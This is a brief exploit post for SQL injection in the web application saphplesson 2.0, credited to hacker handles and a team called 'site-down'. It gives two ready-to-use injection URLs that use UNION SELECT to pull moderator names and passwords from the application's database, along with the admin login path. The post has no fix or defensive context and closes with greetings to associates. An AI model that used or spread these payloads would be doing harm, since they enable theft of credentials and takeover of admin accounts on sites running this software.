Critical sql injection in saphplesson 2.0

Critical sql injection in :

forum type : saphplesson 2.0
bug found by : black-code&sweet-devil
team : site-down
type : sql injection

black-code:

http://www.xxx.net/sh3r/add.php?forumid=-1%20union%20select%20Modpassword%20from%20modretor

sweet-devil:

http://www.xxx.net/lesons/show.php?lessid=1%20union%20select%20null,null,null,ModName,ModPassword,ModPassword,ModPassword%20FROM%20modretor

path to admin login:

http://www.xxx.com/pth/admin

All my respect to my friend sweet-devil , lezr.com , g123g.net …

done … peace